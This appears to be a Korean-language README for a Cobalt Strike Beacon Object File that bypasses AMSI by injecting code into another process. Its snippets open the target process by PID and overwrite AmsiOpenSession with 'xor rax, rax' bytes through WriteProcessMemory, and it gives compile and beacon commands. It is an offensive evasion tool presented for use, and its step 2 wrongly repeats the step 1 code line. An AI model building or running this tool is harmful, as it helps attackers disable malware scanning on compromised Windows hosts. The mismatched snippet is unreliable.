Cobalt Strike BOF - AMSI 우회 주입
원격 프로세스에서 코드 주입을 통해 AMSI를 우회하는 Cobalt Strike 비콘 오브젝트 파일(BOF)입니다.
CobaltStrike에서 inject-amsiBypass BOF 실행

이 기능은 무엇을 하나요?
1. 제공된 PID 인수를 사용하여 원격 프로세스에 대한 핸들을 얻습니다
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. AMSI.DLL을 비콘 메모리에 로드하고 AMSI.AmsiOpenSession의 주소를 가져옵니다
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- 비콘과 대상 프로세스 모두 심볼에 대해 동일한 주소를 갖습니다.
- 원격 프로세스에 AMSI.DLL이 존재하지 않으면 실행 시 대상 프로세스가 충돌할 수 있습니다.
3. AMSI 우회 코드를 원격 프로세스 메모리에 씁니다
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
방법 = AMSI.AmsiOpenSession
- Offensive Security의 PEN-300/OSEP (회피 기술 및 방어 돌파) 과정에서 가르치는 AMSI 우회 기술을 사용합니다.
개념 증명 데모 스크린샷
이전 - Powershell.exe AMSI.AmsiOpenSession

이후 - Powershell.exe AMSI.AmsiOpenSession

x64 MinGW로 컴파일:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Cobalt Strike 비콘 콘솔에서 실행
beacon> inject-amsiBypass <PID>
- inject-amsiBypass.cna 스크립트를 Cobalt Strike의 스크립트 관리자에 로드해야 합니다.
할 일 목록
- 주입 전에 원격 프로세스에 AMSI.DLL이 존재하는지 확인
- 주입할 다른 AMSI 우회 방법 추가
- x86 지원
크레딧 / 참고 자료
Raphael Mudge - Beacon Object Files - Luser Demo
Cobalt Strike - Beacon Object Files
BOF Code References
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Sektor7 Malware Dev Essentials course
Offensive Security OSEP